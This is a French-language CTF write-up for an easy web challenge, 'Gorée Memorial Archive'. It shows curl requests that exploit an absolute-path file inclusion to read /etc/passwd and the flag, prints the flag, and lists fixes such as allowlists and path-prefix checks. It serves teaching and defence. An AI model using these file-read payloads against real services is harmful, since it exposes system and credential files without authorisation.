Post

ECOWAS CTF 2026 — Gorée Memorial Archive [Web/LFI]

CTF : ECOWAS CTF 2026 · Catégorie : Web · Difficulté : ⭐ (Easy) · Points : 100
← Retour à l’index du CTF


Writeup par : 0xWhoAm1 — Équipe DarkPulse


Description du challenge

Un service web exposé sur le port 5005. La page d’accueil présente une archive mémorielle de l’île de Gorée — site historique du Sénégal lié au commerce d’esclaves.

Challenge Gorée Memorial Archive


Reconnaissance initiale

On commence par une requête simple pour voir ce que le serveur expose :

curl -i http://labs.ecowasctf.com.gh:5005/

Réponse HTML reçue :

<h1>Gorée Memorial Archive</h1> <p>A small public reader for archival material on the island of Gorée.</p> <p>View this: <a href="/read?doc=welcome.md">welcome.md</a>.</p>

Observation immédiate : l’endpoint /read?doc=welcome.md accepte un nom de fichier en paramètre. C’est un signal fort d’une potentielle LFI (Local File Inclusion).


Énumération des endpoints

On utilise Burp Suite pour explorer les endpoints disponibles :

# Endpoints testés /read ← paramètre doc= contrôlable /robots.txt

robots.txt ne donne rien de concret. On se concentre sur /read.


Exploitation — LFI par chemin absolu

Test 1 : lecture de /etc/passwd

curl "http://labs.ecowasctf.com.gh:5005/read?doc=/etc/passwd"

Le contenu de /etc/passwd s’affiche directement dans la réponse :

/etc/passwd via LFI

Analyse : Le serveur ne filtre pas les chemins absolus. Quand on passe /etc/passwd au lieu de welcome.md, il lit le fichier depuis la racine du système — c’est une LFI via absolute path (aucun ../ nécessaire ici).

LFI (Local File Inclusion) : vulnérabilité où une application lit un fichier dont le chemin est partiellement contrôlé par l’utilisateur. Voir OWASP — Path Traversal.

Test 2 : lecture du flag

curl "http://labs.ecowasctf.com.gh:5005/read?doc=/flag.txt"

Flag via LFI


Flag

EcowasCTF{g0r33_abs0lut3_path_j01n_lf1}

Leçons apprises

Vecteur Cause Prévention
LFI absolute path Aucun sanitize du paramètre doc Utiliser une allowlist de noms de fichiers
Sans ../ Le serveur fait open(param) directement N’exposer jamais un chemin utilisateur à open()

Le challenge montre que la LFI la plus simple n’a pas besoin de ../ si le serveur utilise directement le paramètre comme chemin absolu. Une défense correcte valide que le fichier appartient à un répertoire autorisé (os.path.realpath() + vérification de préfixe).

Cet article est sous licence CC BY 4.0 par t3chw1z4rd.